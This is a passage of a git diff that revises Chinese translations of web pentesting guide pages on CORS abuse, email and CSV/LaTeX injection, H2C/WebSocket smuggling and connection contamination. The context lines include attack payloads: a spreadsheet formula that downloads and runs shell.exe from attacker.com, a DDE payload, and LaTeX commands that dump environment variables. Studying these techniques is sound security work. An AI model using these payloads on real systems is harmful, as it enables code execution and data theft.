+已观察到将 `Access-Control-Allow-Credentials` 设置为 **`true`** 是大多数 **真实攻击** 的前提条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,利用用户的 cookies 变得不可行,从而降低了让浏览器发出请求的好处。 ### 例外:利用网络位置作为身份验证 -存在一个例外情况,即受害者的网络位置作为身份验证的一种形式。这允许受害者的浏览器作为代理使用,绕过基于 IP 的身份验证以访问内网应用程序。这种方法在影响上与 DNS 重新绑定相似,但更容易利用。 +存在一个例外情况,即受害者的网络位置作为身份验证的一种形式。这允许受害者的浏览器作为代理,绕过基于 IP 的身份验证以访问内网应用程序。这种方法在影响上与 DNS 重新绑定相似,但更容易利用。 ### `Origin` 在 `Access-Control-Allow-Origin` 中的反射 -在现实场景中,`Origin` 头的值反射在 `Access-Control-Allow-Origin` 中在理论上是不太可能的,因为对这些头的组合有限制。然而,寻求为多个 URL 启用 CORS 的开发人员可能会通过复制 `Origin` 头的值动态生成 `Access-Control-Allow-Origin` 头。这种方法可能引入漏洞,特别是当攻击者使用一个看似合法的域名时,从而欺骗验证逻辑。 +在现实场景中,`Origin` 头的值反射在 `Access-Control-Allow-Origin` 中在理论上是不太可能的,因为对这些头的组合有限制。然而,开发人员希望为多个 URL 启用 CORS 时,可能会通过复制 `Origin` 头的值动态生成 `Access-Control-Allow-Origin` 头。这种方法可能引入漏洞,特别是当攻击者使用一个看似合法的域名时,从而欺骗验证逻辑。 ```html ``` -### 利用 `null` Origin +### 利用 `null` 源 -`null` origin,指定用于重定向或本地 HTML 文件等情况,具有独特的地位。一些应用程序将此 origin 列入白名单以便于本地开发,无意中允许任何网站通过沙盒 iframe 模仿 `null` origin,从而绕过 CORS 限制。 +`null` 源在重定向或本地 HTML 文件等情况中指定,具有独特的地位。一些应用程序将此源列入白名单以促进本地开发,无意中允许任何网站通过沙箱 iframe 模仿 `null` 源,从而绕过 CORS 限制。 ```html ``` -### **POST通过Ajax窃取CSRF令牌并使用表单发送POST** +### **使用 Ajax 盗取 CSRF 令牌并通过表单发送 POST** ```html
$additional_parameters ] ## 在电子邮件名称中注入 > [!CAUTION] -> 请注意,如果您设法在具有任意域名的服务中创建帐户(如 Github、Gitlab、CloudFlare Zero trust...)并通过接收验证电子邮件来验证它,您可能能够访问受害公司敏感位置。 +> 请注意,如果您设法在具有任意域名的服务中创建帐户(如 Github、Gitlab、CloudFlare Zero trust...)并通过在您的邮件地址中接收验证电子邮件来验证它,您可能能够访问受害公司敏感位置。 ### 被忽略的电子邮件部分 @@ -75,7 +75,7 @@ Parameter #4 [ $additional_parameters ] - 例如 john.doe+intigriti@example.com → john.doe@example.com -**括号 () 中的注释** 在开头或结尾也会被忽略。 +**括号 () 中的注释** 在开头或结尾也将被忽略。 - 例如 john.doe(intigriti)@example.com → john.doe@example.com @@ -175,7 +175,7 @@ x@xn--svg/-9x6 → x@ [!CAUTION] -> 现在 **Excel 会警告**(多次) **用户当从 Excel 之外加载内容**,以防止他进行恶意操作。因此,必须在社会工程学上付出特别的努力以确保最终有效载荷。 +> 现在 **Excel 会警告**(多次) **用户当从 Excel 之外加载某些内容**,以防止他进行恶意操作。因此,必须在最终有效载荷上特别努力进行社会工程。 ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -53,7 +53,7 @@ DDE ("cmd";"/C calc";"!A0")A0 ```markdown =cmd|' /C calc'!xxx ``` -还可以执行其他命令,例如使用 PowerShell 下载并执行文件: +还可以执行其他命令,例如使用 PowerShell 下载和执行文件: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` @@ -148,7 +148,7 @@ Google Sheets 提供可以被利用进行 OOB 数据提取的函数: ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` -如果您遇到任何LaTex错误,请考虑使用base64获取没有坏字符的结果。 +如果您遇到任何LaTex错误,请考虑使用base64来获取没有坏字符的结果。 ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} diff --git a/src/pentesting-web/h2c-smuggling.md b/src/pentesting-web/h2c-smuggling.md index 000cc7de6..a3a153ddf 100644 --- a/src/pentesting-web/h2c-smuggling.md +++ b/src/pentesting-web/h2c-smuggling.md @@ -8,7 +8,7 @@ H2C,或称为 **明文上的 http2**,通过将标准 HTTP **连接升级为持久连接**,偏离了瞬态 HTTP 连接的常规。这种升级的连接利用 http2 二进制协议进行持续通信,而不是明文 HTTP 的单请求特性。 -走私问题的关键在于 **反向代理** 的使用。通常,反向代理处理并转发 HTTP 请求到后端,然后返回后端的响应。然而,当 HTTP 请求中存在 `Connection: Upgrade` 头部时(通常在 websocket 连接中看到),反向 **代理在客户端和服务器之间保持持久连接**,促进某些协议所需的持续交换。对于 H2C 连接,遵循 RFC 需要存在三个特定的头部: +走私问题的关键在于 **反向代理** 的使用。通常,反向代理处理并转发 HTTP 请求到后端,然后返回后端的响应。然而,当 HTTP 请求中存在 `Connection: Upgrade` 头时(通常在 websocket 连接中看到),反向 **代理在客户端和服务器之间保持持久连接**,促进某些协议所需的持续交换。对于 H2C 连接,遵循 RFC 需要存在三个特定的头部: ``` Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA @@ -37,10 +37,10 @@ Connection: Upgrade, HTTP2-Settings #### 利用 -需要注意的是,并非所有服务器都固有地转发 H2C 连接升级所需的头。因此,像 AWS ALB/CLB、NGINX 和 Apache Traffic Server 等服务器自然会阻止 H2C 连接。尽管如此,值得测试不合规的 `Connection: Upgrade` 变体,该变体从 `Connection` 头中排除了 `HTTP2-Settings` 值,因为某些后端可能不符合标准。 +需要注意的是,并非所有服务器固有地转发符合 H2C 连接升级所需的头。因此,像 AWS ALB/CLB、NGINX 和 Apache Traffic Server 等服务器自然会阻止 H2C 连接。尽管如此,值得测试不合规的 `Connection: Upgrade` 变体,该变体从 `Connection` 头中排除了 `HTTP2-Settings` 值,因为某些后端可能不符合标准。 > [!CAUTION] -> 无论在 `proxy_pass` URL 中指定的具体 **path**(例如 `http://backend:9999/socket.io`)是什么,建立的连接默认指向 `http://backend:9999`。这允许与该内部端点内的任何路径进行交互,利用此技术。因此,在 `proxy_pass` URL 中指定路径并不限制访问。 +> 无论在 `proxy_pass` URL 中指定的具体 **path** 是什么(例如,`http://backend:9999/socket.io`),建立的连接默认为 `http://backend:9999`。这允许与该内部端点内的任何路径进行交互,利用此技术。因此,在 `proxy_pass` URL 中指定路径并不限制访问。 工具 [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) 和 [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) 通过建立 H2C 连接来帮助尝试 **绕过代理施加的保护**,从而访问被代理保护的资源。 @@ -67,17 +67,17 @@ Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不 此场景涉及一个同时具有公共 WebSocket API 和用于健康检查的公共 REST API 的后端,以及一个无法访问的内部 REST API。攻击更复杂,涉及以下步骤: 1. 客户端发送 POST 请求以触发健康检查 API,包括额外的 HTTP 头 `Upgrade: websocket`。NGINX 作为反向代理,将其解释为基于 `Upgrade` 头的标准 Upgrade 请求,忽略请求的其他方面,并将其转发给后端。 -2. 后端执行健康检查 API,联系由攻击者控制的外部资源,该资源返回状态码为 `101` 的 HTTP 响应。此响应在被后端接收并转发给 NGINX 后,欺骗代理认为已建立 WebSocket 连接,因为它仅验证了状态码。 +2. 后端执行健康检查 API,联系由攻击者控制的外部资源,该资源返回状态码为 `101` 的 HTTP 响应。此响应在被后端接收并转发给 NGINX 后,欺骗代理认为已建立 WebSocket 连接,因为它仅验证状态码。 ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) -> **Warning:** 此技术的复杂性增加,因为它需要能够与能够返回状态码 101 的端点进行交互。 +> **警告:** 该技术的复杂性增加,因为它需要能够与能够返回状态码 101 的端点进行交互。 最终,NGINX 被欺骗认为客户端与后端之间存在 WebSocket 连接。实际上,并不存在这样的连接;健康检查 REST API 是目标。然而,反向代理保持连接开放,使客户端能够通过它访问私有 REST API。 ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) -大多数反向代理在此场景中易受攻击,但利用取决于存在外部 SSRF 漏洞,通常被视为低严重性问题。 +大多数反向代理在此场景中易受攻击,但利用取决于外部 SSRF 漏洞的存在,通常被视为低严重性问题。 #### 实验室 diff --git a/src/pentesting-web/http-connection-contamination.md b/src/pentesting-web/http-connection-contamination.md index dba7d403d..10ad1a911 100644 --- a/src/pentesting-web/http-connection-contamination.md +++ b/src/pentesting-web/http-connection-contamination.md @@ -16,7 +16,7 @@ fetch("//sub2.hackxor.net/", { mode: "no-cors", credentials: "include" }) } ) ``` -威胁目前受到限制,因为首次请求路由的稀有性和HTTP/2的复杂性。然而,HTTP/3中提出的更改放宽了IP地址匹配要求,这可能会扩大攻击面,使得使用通配符证书的服务器在不需要MITM攻击的情况下更容易受到攻击。 +威胁目前受到限制,因为首次请求路由的稀有性和HTTP/2的复杂性。然而,HTTP/3中提出的更改放宽了IP地址匹配要求,这可能会扩大攻击面,使得使用通配符证书的服务器在不需要中间人攻击的情况下更容易受到攻击。 最佳实践包括在反向代理中避免首次请求路由,并对通配符TLS证书保持谨慎,特别是在HTTP/3出现之后。定期测试和对这些复杂、相互关联的漏洞保持警惕对于维护网络安全至关重要。